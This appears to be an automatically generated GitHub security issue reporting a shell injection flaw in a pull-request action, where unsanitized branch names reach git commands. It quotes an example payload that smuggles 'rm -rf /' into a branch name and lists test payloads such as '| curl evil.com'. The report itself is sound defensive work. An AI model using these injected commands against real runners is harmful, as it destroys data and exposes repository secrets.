-
Notifications
You must be signed in to change notification settings - Fork 297
Description
Executive Summary
The daily security red team scan has detected 1 critical security issue in the actions/setup/js directory using the pattern-analysis technique.
Severity: 🔴 CRITICAL - Shell Injection Vulnerability
Attack Vector: User-controlled branch names in pull request creation
Impact: Remote code execution via malicious branch names
🔍 Detailed Findings
Finding 1: Shell Injection via Unsanitized Branch Names
Location: actions/setup/js/create_pull_request.cjs:412
Vulnerability Description:
The branchName variable is extracted from user input (pullRequestItem.branch) and used directly in shell commands without sanitization. This allows an attacker to inject arbitrary shell commands through a malicious branch name.
Vulnerable Code:
// Line 412: User input is taken without sanitization
let branchName = pullRequestItem.branch ? pullRequestItem.branch.trim() : null;
// Lines 500-513: branchName is used directly in shell commands
await exec.exec(`git fetch origin \$\{baseBranch}`);
await exec.exec(`git checkout \$\{baseBranch}`);
await exec.exec(`git checkout -b \$\{baseBranch} origin/\$\{baseBranch}`);
await exec.exec(`git checkout -b \$\{branchName}`); // ⚠️ INJECTION POINTAttack Example:
{
"branch": "feature; rm -rf / #"
}This would execute:
git checkout -b feature; rm -rf / #Security Impact:
- Remote Code Execution: Attacker can execute arbitrary commands on the GitHub Actions runner
- Data Exfiltration: Secrets and environment variables can be stolen
- Supply Chain Attack: Malicious code can be injected into the repository
- Privilege Escalation: GitHub Actions runner permissions can be abused
🕵️ Forensics Analysis
When was this code introduced?
- Commit:
d97c388(view commit) - Author: Mara Nikola Kiefer
- Date: 2026-02-16 15:15:15 +0100 (TODAY)
- Message: "Clean-up temporary ID pattern and add deferral logic to update-project (Clean-up temporary ID pattern and add deferral logic to update-project #16098)"
Analysis: This vulnerability was introduced in the most recent commit today. The code refactoring did not include proper input sanitization for branch names, despite the codebase having a normalize_branch_name.cjs utility available.
🛠️ Remediation Tasks
@pelikhan URGENT: The following tasks must be completed immediately to address this critical security vulnerability:
-
Task 1: Add branch name sanitization before shell command execution in
create_pull_request.cjs:412- Import the
normalizeBranchNamefunction fromnormalize_branch_name.cjs - Apply sanitization:
branchName = normalizeBranchName(branchName) - Add validation to reject branch names that become empty after normalization
- Ensure this happens BEFORE any git commands are executed
- Import the
-
Task 2: Audit
push_to_pull_request_branch.cjsfor similar vulnerabilities- Check if branch names are sanitized before use in git commands (lines 243, 250, 257, 295)
- Apply the same normalization pattern
- Add unit tests for injection attempts
-
Task 3: Audit
upload_assets.cjsfor similar vulnerabilities- Check if branch names are sanitized before use in git commands (lines 98, 99, 114)
- The file already has
normalizeBranchNamebut verify it's applied consistently - Add unit tests for injection attempts
-
Task 4: Add security unit tests to
create_pull_request.test.cjs- Test branch names with shell metacharacters:
; rm -rf /,$(malicious),`backdoor`,| curl evil.com - Test branch names with newlines and control characters
- Verify normalization is applied and injection is prevented
- Test branch names with shell metacharacters:
-
Task 5: Security audit all uses of
exec.exec()with template literals- Search codebase:
exec.exec(\.*\${)` - Ensure ALL user-controlled inputs are sanitized
- Consider using
exec.exec()with array arguments instead of template strings where possible
- Search codebase:
-
Task 6: Add static analysis rule to CI/CD
- Detect
exec.exec()calls with template literals containing variables - Enforce use of sanitization functions for shell command arguments
- Add ESLint rule or custom linter check
- Detect
-
Task 7: Security incident response
- Review recent workflow runs for suspicious branch names
- Check if this vulnerability was exploited since commit d97c388
- Rotate any secrets that may have been exposed
📊 Analysis Metadata
- Repository: github/gh-aw
- Run ID: §22067059638
- Scan Date: 2026-02-16 (Monday)
- Scan Type: DAILY_INCREMENTAL (24h changes)
- Technique Used: pattern-analysis
- Files Analyzed: 429 files
- Cache Location:
/tmp/gh-aw/cache-memory/security-red-team
🎯 Recommended Fix (Example)
// Import normalization at top of file
const { normalizeBranchName } = require("./normalize_branch_name.cjs");
// At line 412, sanitize the branch name
let branchName = pullRequestItem.branch ? pullRequestItem.branch.trim() : null;
// Add sanitization
if (branchName) {
branchName = normalizeBranchName(branchName);
// Validate it's not empty after normalization
if (!branchName) {
throw new Error("Invalid branch name: sanitization resulted in empty string");
}
core.info(`Sanitized branch name: \$\{branchName}`);
}🔐 Security Best Practices Reminder
- Never trust user input - Always sanitize data from external sources
- Use parameterized commands - Prefer array arguments over template strings
- Apply principle of least privilege - Limit what commands can do
- Defense in depth - Multiple layers of security controls
- Regular security audits - Catch vulnerabilities early
📚 References
- Normalization Utility:
actions/setup/js/normalize_branch_name.cjs - CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP: Command Injection
- GitHub Security Best Practices: Link
This vulnerability allows remote code execution and must be fixed immediately before the next deployment.
Generated by Daily Security Red Team Agent